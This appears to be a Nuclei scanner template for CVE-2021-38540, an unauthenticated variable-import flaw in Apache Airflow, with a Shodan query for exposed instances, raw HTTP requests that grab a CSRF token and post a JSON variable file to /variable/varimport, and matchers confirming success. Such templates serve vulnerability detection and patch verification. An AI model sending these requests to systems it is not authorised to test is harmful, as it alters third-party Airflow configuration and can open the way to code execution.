2021-11-28 18:17:12 +00:00
id : CVE-2021-38540
info :
name : Apache Airflow - Unauthenticated Variable Import
author : pdteam
severity : critical
description : The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3.
reference : https://nvd.nist.gov/vuln/detail/CVE-2021-38540
tags : cve,cve2021,apache,airflow,rce
2021-11-28 18:35:36 +00:00
metadata :
shodan-query : title:"Sign In - Airflow"
2021-11-28 20:31:30 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2021-38540
cwe-id : CWE-306
2021-11-28 18:17:12 +00:00
requests :
- raw :
- |
GET /login/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer : {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition : form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition : form-data; name="file"; filename="{{randstr}}.json"
Content-Type : application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
cookie-reuse : true
extractors :
- type : regex
name : csrf
group : 1
internal : true
regex :
- 'type="hidden" value="(.*?)">'
req-condition : true
matchers-condition : and
matchers :
- type : dsl
dsl :
- 'contains(body_1, "Sign In - Airflow")'
- 'status_code_2 == 302'
- 'contains(all_headers_2, "session=.")'
condition : and
- type : word
words :
- 'You should be redirected automatically to target URL : <a href="/">'